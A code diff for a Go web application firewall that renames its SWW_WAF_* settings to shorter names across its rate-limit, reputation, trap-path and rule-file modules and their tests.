limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWW_MAX_BAN_DURATION"
maxBans = "SWW_MAX_BANS"
banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
instanceName = "SWW_INSTANCE_NAME"
logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
attackBanDuration = "SWW_ATTACK_BAN_DURATION"
rulesDir = "SWW_RULES_DIR"
wafMode = "SWW_WAF_MODE"
)
// off is the value that switches a setting off.
@@ -297,8 +296,8 @@ func startProxyWithGeoJS(
// startProxyWithClock is startProxyWithGeoJS with requests counted and
// bans made by the time now tells, and returns discriminator's server as well, whose
// Addr is where discriminator listens. Unless env sets SWW_WAF_RULES_DIR, it is an
// empty directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app,
// Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
// directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
// the label instance of every metric.
func startProxyWithClock(
t *testing.T, appURL, geojsURL string, now func() time.Time,
@@ -348,21 +347,25 @@ func serve(t *testing.T, server *discriminator.Server) {
// startRProxy starts rproxy in front of the app at appURL, asking the discriminator
// at discriminatorAddr, with the settings in env on top of the defaults, and returns
// where it listens. What it writes is dropped. SWW_RPROXY_TIMEOUT_MS is a minute unless
// env sets it, so that on a busy host SWW_RPROXY_DEFAULT_DISPOSITION does not decide.
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
func startRProxy(
t *testing.T, discriminatorAddr, appURL string, env map[string]string,
) string {
t.Helper()
settings := map[string]string{
"SWW_RPROXY_WAF_BACKEND": "http://" + discriminatorAddr,
"SWW_RPROXY_UPSTREAM_URL": appURL,
"SWW_RPROXY_TIMEOUT_MS": "60000",
"SWRP_WAF_BACKEND": "http://" + discriminatorAddr,
"SWRP_UPSTREAM_URL": appURL,
"SWRP_TIMEOUT_MS": "60000",
}
maps.Copy(settings, env)
cfg, err := config.RProxyFromEnvironment(configtest.Viper(settings))
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
value, ok := settings[name]
return value, ok
})
if err != nil {
t.Fatalf("settings %v: %v", settings, err)
}
@@ -394,11 +397,11 @@ func startRProxy(
// settings in env make it. No alert is sent from the queue: they wait in it,
// for the test to look at.
// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
// SWW_WAF_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
// database SWW_WAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWW_WAF_ABUSEIPDB_KEY.
// SWW_WAF_CORE_RULE_SET_MODE is off unless env sets it, so that only the tests of the
// Core Rule Set have their requests inspected by it.
// SWW_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
// database SWW_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
// env sets it, so that only the tests of the Core Rule Set have their requests
// inspected by it.
func newDiscriminator(
t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
) (*discriminator.Server, *output, *alerts.Queue) {
@@ -423,7 +426,11 @@ func newDiscriminatorWith(
maps.Copy(settings, env)
cfg, err := config.FromEnvironment(configtest.Viper(settings))
cfg, err := config.FromEnvironment(func(name string) (string, bool) {
value, ok := settings[name]
return value, ok
})
if err != nil {
t.Fatalf("settings %v: %v", settings, err)
}
internal/discriminator/ratelimits.go
+4 -4
View File
@@ -1,7 +1,7 @@
package discriminator
// The heuristic rate_limits. It reads SWW_WAF_RATE_LIMIT_EXEMPT_NETS,
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS and SWW_WAF_BAN_RESPONSE, and the rate limits and
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
// biased thresholds through the limiter and limitPercentages.
import (
@@ -59,8 +59,8 @@ func (rq *request) overAWholeRateLimit(now time.Time) bool {
}
// countedByRateLimits reports whether the rate limits count the request: its
// client is not in SWW_WAF_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
// under SWW_WAF_RATE_LIMIT_EXEMPT_PATHS.
// client is not in SWW_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
// under SWW_RATE_LIMIT_EXEMPT_PATHS.
func (rq *request) countedByRateLimits() bool {
cfg := rq.h.config
internal/discriminator/ratelimits_test.go
+4 -4
View File
@@ -10,7 +10,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// minute is the window of SWW_WAF_RATE_LIMIT_PER_MINUTE, as a log line's
// minute is the window of SWW_RATE_LIMIT_PER_MINUTE, as a log line's
// limit_hit names it.
const minute = "minute"
@@ -86,7 +86,7 @@ func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
t.Parallel()
// With SWW_WAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
// With SWW_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
// /64s of one /48, are one client, and the second's request breaks the
// limit; the third, in the next /48, is another client.
const (
@@ -129,7 +129,7 @@ func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
const denied = "192.0.2.50" // in SWW_DENY_NETS
geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
@@ -163,7 +163,7 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
s.request(client, "/assets", http.StatusForbidden,
requestlog.ActionClientIsRateLimited)
// A ban, SWW_WAF_DENY_NETS and SWW_WAF_TAG_DENY still refuse a path under a
// A ban, SWW_DENY_NETS and SWW_TAG_DENY still refuse a path under a
// prefix.
s.request(client, "/assets/app.js", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
internal/discriminator/refusallimit.go
+4 -4
View File
@@ -1,7 +1,7 @@
package discriminator
// The heuristic refusal_limit. It reads SWW_WAF_ERROR_BURST_THRESHOLD and
// SWW_WAF_BAN_RESPONSE.
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
// SWW_BAN_RESPONSE.
import (
"context"
@@ -14,8 +14,8 @@ import (
// refusalLimit counts the request once it has been answered, if discriminator
// refused it after a rule file match, a trap path or a Core Rule Set match, and
// in observe mode if enforce mode would have: more than
// SWW_WAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
// a limit, which bans the client. A client in SWW_ALLOW_NETS, which the
// heuristics skip, is not counted, and nothing is while the threshold is off.
// Its figures are the window, the count and the limit.
type refusalLimit struct{}
internal/discriminator/refusallimit_test.go
+5 -5
View File
@@ -15,7 +15,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD"
const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which discriminator refuses after a rule
// file match.
@@ -49,7 +49,7 @@ func (r refused) send(s *sender, from string) logLine {
}
// startForErrorBurst is startWithClock with testRules, the metrics token and
// SWW_WAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
// SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst(
t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *discriminator.Server) {
@@ -290,15 +290,15 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
allowed = "192.0.2.60" // in SWW_ALLOW_NETS
exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
)
s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt,
})
// A client in SWW_WAF_ALLOW_NETS is not refused, and so not counted.
// A client in SWW_ALLOW_NETS is not refused, and so not counted.
for range 3 {
s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
}
internal/discriminator/reputation.go
+1 -1
View File
@@ -8,7 +8,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/bans"
)
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_REPUTATION_ACTION that
// deny is the SWW_BLOCKLIST_ACTION and the SWW_REPUTATION_ACTION that
// refuses the requests of a client a source lists.
const deny = "deny"
internal/discriminator/reputation_test.go
+16 -16
View File
@@ -23,12 +23,12 @@ import (
// The reputation settings.
const (
blocklistURLs = "SWW_WAF_BLOCKLIST_URLS"
blocklistAction = "SWW_WAF_BLOCKLIST_ACTION"
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL"
blocklistURLs = "SWW_BLOCKLIST_URLS"
blocklistAction = "SWW_BLOCKLIST_ACTION"
asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
)
// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_REPUTATION_ACTION:
// The actions of SWW_BLOCKLIST_ACTION and SWW_REPUTATION_ACTION:
// limitHalf gives a listed client half of every limit, and limitQuarter a
// quarter.
const (
@@ -178,7 +178,7 @@ func TestBlocklistsComeAfterAllowedCountriesAndSkipAllowNets(t *testing.T) {
loadLists(t, server, map[string][]string{dropURL: {fromDE, fromKP}})
// fromKP's country refuses it before the list is looked at, and fromDE,
// in SWW_WAF_ALLOW_NETS, is not checked at all: neither is noted, nor
// in SWW_ALLOW_NETS, is not checked at all: neither is noted, nor
// alerted.
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied))
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
@@ -277,7 +277,7 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T)
},
{"none, for an AS number the file does not list", nil, asnKP + ":25", none, none},
{
"SWW_WAF_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
"SWW_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
},
} {
@@ -367,9 +367,9 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
// The DNSBL settings.
const (
dnsblZones = "SWW_WAF_DNSBL_ZONES"
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
reputationAction = "SWW_WAF_REPUTATION_ACTION"
dnsblZones = "SWW_DNSBL_ZONES"
dnsblResolver = "SWW_DNSBL_RESOLVER"
reputationAction = "SWW_REPUTATION_ACTION"
)
// The DNSBL zones these tests name, which are never asked about the
@@ -425,7 +425,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
for _, from := range []string{fromDE, fromKP} {
for i := range 3 {
line := s.get(from, tc.statuses[i], tc.actions[i])
// In the order SWW_WAF_DNSBL_ZONES names them.
// In the order SWW_DNSBL_ZONES names them.
wantReputation(t, line, listedBy[from]...)
wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
line.RateLimitPercentSetting, tc.percent)
@@ -472,7 +472,7 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}})
// The blocklist refuses fromKP before its verdict is looked at, and
// fromDE, in SWW_WAF_ALLOW_NETS, is not checked at all: neither is noted
// fromDE, in SWW_ALLOW_NETS, is not checked at all: neither is noted
// for the zone, nor alerted, nor asked about.
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
dropURL)
@@ -707,7 +707,7 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
// The AbuseIPDB settings, and accountKey, the key the tests set.
const (
abuseIPDBKey = "SWW_WAF_ABUSEIPDB_KEY"
abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
accountKey = "abuseipdb-key-0123456789abcdef"
)
@@ -898,7 +898,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *test
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
reputationAction: tc.action,
})
// At SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
// At SWW_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
for i := range 3 {
@@ -951,7 +951,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
// The alert is made as a DNSBL zone's is, with the score besides.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE" ||
waiting[0].Reason != "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE" ||
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
queue.Suppressed() != 1 {
t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
@@ -1022,7 +1022,7 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
abuseIPDBKey: accountKey, reputationAction: actionLog,
})
// Every source lists client, and none otherClient, whose score is
// under SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
// under SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
loadLists(t, server, map[string][]string{dropURL: {client}})
loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
loadScores(server, map[string]int64{client: score, otherClient: 74})
@@ -1071,7 +1071,7 @@ func verdictsFetched() time.Time {
}
// loadVerdicts puts into server's DNSBL, for each client listedBy names,
// a verdict of each zone SWW_WAF_DNSBL_ZONES names, fetched at
// a verdict of each zone SWW_DNSBL_ZONES names, fetched at
// verdictsFetched, as reputation.json would at start: one that lists the
// client from each zone listedBy gives for it, and one that does not from
// each other zone.
internal/discriminator/request.go
+7 -7
View File
@@ -44,7 +44,7 @@ type decision struct {
lookedUp bool
lookupAnswer lookup.Answer
// skippedLookupWait is true for a request that did not wait for GeoJS and
// found no answer kept. SWW_WAF_UNKNOWN_LIMIT_PERCENT does not apply to it,
// found no answer kept. SWW_UNKNOWN_LIMIT_PERCENT does not apply to it,
// so that not waiting never lowers its client's limits.
skippedLookupWait bool
// counted is true for a request the rate limits counted, whose bytes
@@ -170,7 +170,7 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
// check is the one place where a request can be refused. It returns nil to let
// the request through. The heuristics of checkClient decide: a request they
// refuse is answered with SWW_WAF_BAN_RESPONSE, 403 for a block rule or the Core
// refuse is answered with SWW_BAN_RESPONSE, 403 for a block rule or the Core
// Rule Set, or 431 for the header limits. In observe mode nothing is refused,
// and the log line names what enforce mode would have done. ctx is the
// request's own context.
@@ -200,7 +200,7 @@ func (rq *request) check(ctx context.Context) *refusal {
// checkClient runs the heuristics of beforeLookup on the request, then looks
// up the client's AS number and country, then runs those of afterLookup. It
// returns the first verdict, or nil when none gives one. A client in
// SWW_WAF_ALLOW_NETS skips them all, and is not looked up. ctx is the request's
// SWW_ALLOW_NETS skips them all, and is not looked up. ctx is the request's
// own context.
func (rq *request) checkClient(ctx context.Context) *verdict {
if isInside(rq.client, rq.h.config.AllowNets) {
@@ -224,7 +224,7 @@ func (rq *request) checkClient(ctx context.Context) *verdict {
}
// pathExempt reports whether r is exempt under prefixes,
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS: whether its
// SWW_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_EXEMPT_PATHS: whether its
// path as sent, the path the app receives, not percent-decoded, starts
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
// app whose router matches the path as received. A request whose decoded
@@ -326,9 +326,9 @@ func (rq *request) addToHistory() {
// countAnomalies counts the request, which has ended, and its bytes, as
// countedBytes gives them, for the anomaly thresholds, whatever was done
// with it: a request refused, one from a client in SWW_WAF_ALLOW_NETS or
// SWW_WAF_RATE_LIMIT_EXEMPT_NETS, and one for a path in
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
// with it: a request refused, one from a client in SWW_ALLOW_NETS or
// SWW_RATE_LIMIT_EXEMPT_NETS, and one for a path in
// SWW_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
// client's AS number when answerAtTheEnd gives one. With every anomaly
// threshold off, the default, it does nothing.
func (rq *request) countAnomalies() {
internal/discriminator/requestlog_test.go
+2 -2
View File
@@ -19,7 +19,7 @@ import (
const (
// requestIDHeader carries the request's id.
requestIDHeader = "X-Request-ID"
// instance is the SWW_WAF_INSTANCE_NAME a test sets.
// instance is the SWW_INSTANCE_NAME a test sets.
instance = "fsn1app1/blog"
// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
// limits count it as.
@@ -196,7 +196,7 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
func TestTimingsAreInOrder(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
const denied = "192.0.2.50" // in SWW_DENY_NETS
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
// The pause sets the times apart; a hold-up of the test only lengthens
internal/discriminator/routewatchtags.go
+4 -5
View File
@@ -1,6 +1,6 @@
package discriminator
// The heuristic routewatch_tags. It reads SWW_WAF_ROUTEWATCH_URL.
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
import (
"context"
@@ -13,10 +13,9 @@ import (
// routeWatchTags adds to the request the tags asn=<number> and prefix=<netblock>
// from what routewatch answered about the client. It refuses nothing, and the
// request does not wait for routewatch. A request that gets no tags from it has
// the reason in the log line's routewatch_tags_missing. While
// SWW_WAF_ROUTEWATCH_URL is unset it does nothing. Answers are kept by client and
// asked for by the request's address, and a route without an origin AS gives only
// the prefix= tag.
// the reason in the log line's routewatch_tags_missing. While SWW_ROUTEWATCH_URL
// is unset it does nothing. Answers are kept by client and asked for by the
// request's address, and a route without an origin AS gives only the prefix= tag.
type routeWatchTags struct{}
func (routeWatchTags) name() string { return "routewatch_tags" }
internal/discriminator/routewatchtags_test.go
+10 -6
View File
@@ -14,10 +14,10 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// routeWatchURL is SWW_WAF_ROUTEWATCH_URL, and tagsMissing the log line's field
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
// that says why a request got no tags from routewatch.
const (
routeWatchURL = "SWW_WAF_ROUTEWATCH_URL"
routeWatchURL = "SWW_ROUTEWATCH_URL"
tagsMissing = "routewatch_tags_missing"
fromV6 = "2001:db8:1::5"
prefixV6 = "2001:db8::/32"
@@ -137,7 +137,7 @@ func TestUnsetRouteWatchChangesNothing(t *testing.T) {
s, _, server := startWithClock(t, "", map[string]string{lookupSource: off})
if server.RouteWatch != nil {
t.Error("RouteWatch is set while SWW_WAF_ROUTEWATCH_URL is unset")
t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset")
}
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
@@ -153,10 +153,14 @@ func TestUnsetRouteWatchChangesNothing(t *testing.T) {
func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
t.Parallel()
// Another test can take a closed server's port at once, so routewatch's
// address here is a multicast address, to which TCP cannot connect.
// A stand-in that is closed at once, so that the port refuses connections.
dead := httptest.NewServer(http.NotFoundHandler())
url := dead.URL
dead.Close()
s, _, _ := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: "http://224.0.0.1",
lookupSource: off, routeWatchURL: url,
})
wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
internal/discriminator/rulefiles.go
+1 -1
View File
@@ -1,7 +1,7 @@
package discriminator
// The heuristic rule_files. It reads the rules of the rule files, which
// SWW_WAF_RULES_DIR and SWW_WAF_RULES_ENABLED name.
// SWW_RULES_DIR and SWW_RULES_ENABLED name.
import (
"context"
internal/discriminator/rulefiles_test.go
+6 -6
View File
@@ -34,14 +34,14 @@ func TestEachRuleAction(t *testing.T) {
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantRuleIDs(t, line, "noted")
// A block rule refuses with 403, whatever SWW_WAF_BAN_RESPONSE is, and
// A block rule refuses with 403, whatever SWW_BAN_RESPONSE is, and
// bans no one.
line = s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule)
wantRuleIDs(t, line, "noted", "blocked")
s.get(client, http.StatusOK, requestlog.ActionForward)
// A ban rule refuses with SWW_WAF_BAN_RESPONSE, and bans the client for
// A ban rule refuses with SWW_BAN_RESPONSE, and bans the client for
// seven days, the default.
line = s.request(client, "/.env", http.StatusTooManyRequests,
requestlog.ActionTemporarilyBanned)
@@ -132,7 +132,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
attackBanDuration: "1h",
})
// The first probe bans for SWW_WAF_ATTACK_BAN_DURATION.
// The first probe bans for SWW_ATTACK_BAN_DURATION.
line := s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
@@ -155,8 +155,8 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
allowed = "192.0.2.60" // in SWW_ALLOW_NETS
exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
)
s, _, server := startWithClock(t, "", map[string]string{
@@ -166,7 +166,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
rateLimitPerMinute: "1",
})
// A client in SWW_WAF_ALLOW_NETS is not checked.
// A client in SWW_ALLOW_NETS is not checked.
line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
wantRuleIDs(t, line)
internal/discriminator/staticlists_test.go
+3 -3
View File
@@ -26,7 +26,7 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
calls.Add(1)
})
geojsURL, asked := startGeoJS(t)
// fromKP is in SWW_WAF_ALLOW_NETS, and in SWW_WAF_DENY_NETS too, which
// fromKP is in SWW_ALLOW_NETS, and in SWW_DENY_NETS too, which
// comes after it.
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
@@ -36,7 +36,7 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
rateLimitPerMinute: "1",
})
// Neither SWW_WAF_DENY_NETS, SWW_WAF_TAG_DENY nor the limit of one request a
// Neither SWW_DENY_NETS, SWW_TAG_DENY nor the limit of one request a
// minute refuses the client, and its country is not looked up.
wantAnswers(t, addr, out, []sentRequest{
{fromKP, http.StatusOK, requestlog.ActionForward},
@@ -147,7 +147,7 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
// listedAddr's requests are neither refused nor counted, so the first
// request from unlistedAddr is within the limit of one a minute.
// SWW_WAF_TAG_DENY still refuses an exempt client.
// SWW_TAG_DENY still refuses an exempt client.
wantAnswers(t, addr, out, []sentRequest{
{listedAddr, http.StatusOK, requestlog.ActionForward},
{listedAddr, http.StatusOK, requestlog.ActionForward},
internal/discriminator/tagdeny.go
+2 -2
View File
@@ -1,6 +1,6 @@
package discriminator
// The heuristic tag_deny. It reads SWW_WAF_TAG_DENY.
// The heuristic tag_deny. It reads SWW_TAG_DENY.
import (
"context"
@@ -10,7 +10,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// tagDeny refuses a request that carries a tag in SWW_WAF_TAG_DENY. Its figure is
// tagDeny refuses a request that carries a tag in SWW_TAG_DENY. Its figure is
// the first such tag, in sorted order.
type tagDeny struct{}
internal/discriminator/tagdeny_test.go
+1 -1
View File
@@ -51,7 +51,7 @@ func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
const mixedCaseZone = "DNSBL.example"
// The zone's tag is in lower case, however SWW_WAF_DNSBL_ZONES writes it.
// The zone's tag is in lower case, however SWW_DNSBL_ZONES writes it.
s, server, _ := startWithLookups(t, map[string]string{
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
internal/discriminator/taglists.go
+2 -2
View File
@@ -1,6 +1,6 @@
package discriminator
// The heuristic tag_lists. It reads the address lists of SWW_WAF_TAG_LISTS through
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
// the reputation lists.
import (
@@ -8,7 +8,7 @@ import (
"time"
)
// tagLists adds to the request one tag for each list of SWW_WAF_TAG_LISTS that
// tagLists adds to the request one tag for each list of SWW_TAG_LISTS that
// holds the client, the tag being the list's name. It refuses nothing, and runs
// first so that every refusal's log line carries these tags.
type tagLists struct{}
internal/discriminator/taglists_test.go
+2 -2
View File
@@ -8,9 +8,9 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// tagLists is SWW_WAF_TAG_LISTS, and vpnList and torList lists it names.
// tagLists is SWW_TAG_LISTS, and vpnList and torList lists it names.
const (
tagLists = "SWW_WAF_TAG_LISTS"
tagLists = "SWW_TAG_LISTS"
vpnList = "https://lists.example/vpn.txt"
torList = "https://lists.example/torexit.txt"
)
internal/discriminator/trappaths.go
+2 -2
View File
@@ -1,6 +1,6 @@
package discriminator
// The heuristic trap_paths. It reads SWW_WAF_TRAP_PATHS.
// The heuristic trap_paths. It reads SWW_TRAP_PATHS.
import (
"context"
@@ -11,7 +11,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// trapPaths refuses a request for a path in SWW_WAF_TRAP_PATHS: its path as a
// trapPaths refuses a request for a path in SWW_TRAP_PATHS: its path as a
// path rule sees it, without the query, as sent or once percent-decoded, is one
// of them. Such a request is a clear sign of attack, as a ban rule's match is:
// it bans the client's netblock, or in observe mode raises the alert for the
internal/discriminator/trappaths_test.go
+5 -5
View File
@@ -14,14 +14,14 @@ import (
// trapPaths is the setting's name, and trapPathList what the tests set it
// to.
const (
trapPaths = "SWW_WAF_TRAP_PATHS"
trapPaths = "SWW_TRAP_PATHS"
trapPathList = "/wp-login.php,/xmlrpc.php"
)
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
t.Parallel()
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
// A block rule for the same path: the trap path comes first.
s, clk, server := startWithClock(t, "", map[string]string{
@@ -38,7 +38,7 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
}
// A client in SWW_WAF_ALLOW_NETS is not checked.
// A client in SWW_ALLOW_NETS is not checked.
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
// The query is not part of the path.
@@ -114,8 +114,8 @@ func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
"SWW_WAF_RULES_ENABLED": "false",
trapPaths: trapPathList,
"SWW_RULES_ENABLED": "false",
})
s.request(client, "/xmlrpc.php", http.StatusForbidden,
internal/lookup/file.go
+3 -3
View File
@@ -24,7 +24,7 @@ const quietTime = 2 * time.Second
// FileParams are what OpenFile needs.
type FileParams struct {
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
// (SWW_WAF_LOOKUP_DB_PATH).
// (SWW_LOOKUP_DB_PATH).
Path string
// Now tells the time, normally time.Now.
Now func() time.Time
@@ -231,12 +231,12 @@ func (f *File) use(reader *maxminddb.Reader) {
func read(path string) (*maxminddb.Reader, error) {
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
if err != nil {
return nil, fmt.Errorf("SWW_WAF_LOOKUP_DB_PATH cannot be read: %w", err)
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
}
reader, err := maxminddb.OpenBytes(data)
if err != nil {
return nil, fmt.Errorf("SWW_WAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
}
return reader, nil
internal/lookup/file_internal_test.go
+3 -3
View File
@@ -99,9 +99,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
writeFile(t, notDatabase, "not a lookup database\n")
for path, want := range map[string]string{
missing: "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + missing +
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
": no such file or directory",
notDatabase: "SWW_WAF_LOOKUP_DB_PATH " + notDatabase +
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
} {
_, err := OpenFile(FileParams{
@@ -216,7 +216,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
